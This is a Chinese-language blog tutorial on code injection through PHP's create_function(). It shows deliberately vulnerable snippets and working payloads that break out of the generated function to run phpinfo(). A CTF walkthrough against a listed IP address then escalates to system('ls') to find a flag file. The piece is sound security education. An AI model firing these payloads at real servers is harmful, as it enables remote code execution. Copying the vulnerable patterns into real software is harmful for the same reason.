zoukankan      html  css  js  c++  java
  • create_function()代码注入

    00x00create_function()函数的简介

    适用范围:PHP 4> = 4.0.1PHP 5PHP 7

    功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

    语法:

    create_function(string $args,string $code)
    //string $args 声明的函数变量部分
    //string $code 执行的方法代码部分

    0x01 函数功能分析

    案例

    <?php
    $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    echo "New anonymous function: $newfunc
    ";
    echo $newfunc(2, M_E) . "
    ";
    ?>

    create_function()会创建一个匿名函数(lambda样式)

    create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。

    因此create_function函数等价于

    <?php
    function lambda1($a,$b){
        return "ln($a) + ln($b) = " . log($a * $b);
    }
    ?>

    0x03 实现代码注入的案例

    案例一:

    <?php
    error_reporting(0);
    $sort_by = $_GET['sort_by'];
    $sorter = 'strnatcasecmp';
    $databases=array('1234','4321');
    $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
    usort($databases, create_function('$a, $b', $sort_function));
    ?>

    payload的构造:

    http://localhost/test/1.php?sort_by='"]);}phpinfo();/*

    还原实际的组合过程:

    $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

    匿名函数实际的执行:

    function niming($a,$b){
    return 1 * ' . $sorter . '($a["' . $sort_by '"]);
    }
    phpinfo();/* }

    案例 2:

    <?php
    $c=$_GET['c'];
    $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
    $array=array('reall long string here,boy','this','midding lenth','larget');
    usort($array,$lambda);
    print_r($array);
    ?>

    payload的构造:

    http://localhost/test/2.php?c=1));}phpinfo();/*

    还原实际的组合过程:

    $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

    匿名函数实际的执行:

     function ft($a,$b){
        return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
     }

    0x04 一道存在create_function代码注入的CTF

     地址:http://198.13.45.199:5007/

    两个链接,先点击“不要点我”这个链接,跳转到一个含php源码的页面http://198.13.45.199:5007/index.php?source

     看见create_function函数,应该存在注入

    GET请求,code随便传一个值,然后“;”闭合应该就可以将payload构造成功了

    构造payload:

    http://198.13.45.199:5007/index.php?code=1;}phpinfo();/*

     代码执行成功

    用system()函数执行系统操作命令

    构造payload:

    http://198.13.45.199:5007/index.php?code=1;}system(%27ls%20../../../%27);/*

    用ls一直往前翻目录,直到翻到名字含有flag的文件,然后cat打开就获得flag:

    PHP 7.2.0开始,create_function()被废弃

  • 相关阅读:
    同一域环境下SQLServer DB Failover故障转移配置详解
    WebAPI项目中使用SwaggerUI
    Failed to initialize the Common Language Runtime
    WCF Throttling 限流的三道闸口
    Entity Framework 乐观并发控制
    MVC3不能正确识别JSON中的Enum枚举值
    编写高质量代码改善C#程序的157个建议读书笔记【11-20】
    如果下次做模板,我就使用Nvelocity
    对于react中的this.setState的理解
    对于react中rredux的理解
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11459374.html
Copyright © 2011-2022 走看看